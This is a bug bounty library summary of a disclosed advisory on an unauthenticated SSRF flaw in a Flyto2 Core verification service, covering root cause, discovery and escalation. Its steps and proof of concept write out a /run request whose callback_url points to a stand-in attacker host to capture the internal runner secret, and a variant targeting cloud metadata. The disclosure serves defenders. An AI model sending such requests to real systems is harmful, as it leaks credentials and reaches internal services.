# Flyto2 Core: Unauthenticated flyto-verification /run: callback_url SSRF and internal runner-secret exfiltration

Unauthenticated POST /run on flyto-verification uses client callback_url verbatim, attaching X-Internal-Key runner secret, enabling SSRF and secret exfiltration.

- Payout: Research
- Severity: critical
- Program: Flyto2 Core
- Found by: manus-use, BarakSrour
- Disclosed: 2026-07-30
- CVE: CVE-2026-67426
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-jx74-cqjv-2c67
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-jx74-cqjv-2c67
- Tags: area:web domain:api domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:critical tech:python technique:source-review vuln:access-control vuln:auth-bypass vuln:secrets-leak vuln:ssrf

**Target:** flyto-verification HTTP service (POST /run)
**Root cause:** /run lacks any auth dependency and resolve_callback_url returns the client-supplied callback_url verbatim; post_callback unconditionally attaches X-Internal-Key: $FLYTO_RUNNER_SECRET, while target_allowed only gates params.target_url and no SSRF validation exists in the file.
**Steps:**
1. Send `POST http://<verification-host>:8344/run` with body `{"workflowYaml":"...","params":{...},"callback_url":"http://attacker.tld/collect"}`
2. Service POSTs to attacker.tld with header `X-Internal-Key: <FLYTO_RUNNER_SECRET>`
3. Alternatively set `callback_url=http://<cloud-metadata-ip>/...` for internal SSRF with attacker-controlled JSON body
4. Replay stolen secret to authenticate to the real engine callback endpoint
**How found:** Code review of verification_service.py: noticed /run had no Depends/auth, traced resolve_callback_url returning client value verbatim, and observed post_callback attaching the internal key unconditionally while target_allowed only checked params.target_url; grep confirmed zero validate_url references and Dockerfile binding 0.0.0.0:8344.
**Exploitation:** Unauthenticated attacker reaches the service on 0.0.0.0:8344, supplies arbitrary callback_url, and receives the runner secret at their host; the same primitive gives SSRF to internal/metadata endpoints with a controlled JSON body.
**Escalation:** Stolen FLYTO_RUNNER_SECRET allows forging authenticated callbacks to the real engine, turning SSRF into credential compromise.
**Insight:** When a service has an allowlist, check every URL field separately — secondary fields like callback_url/webhook often skip the guard, and internal auth headers attached to outbound calls turn SSRF into secret exfiltration.

## Proof of concept (copied exactly from the original report)

**Unauthenticated /run request exfiltrating runner secret**

```
POST http://<verification-host>:8344/run
{"workflowYaml":"...","params":{...},"callback_url":"http://attacker.tld/collect"}
# -> service POSTs to attacker.tld with header X-Internal-Key: <FLYTO_RUNNER_SECRET>
# Or callback_url=http://<cloud-metadata-ip>/... for internal SSRF with a controlled body.
```

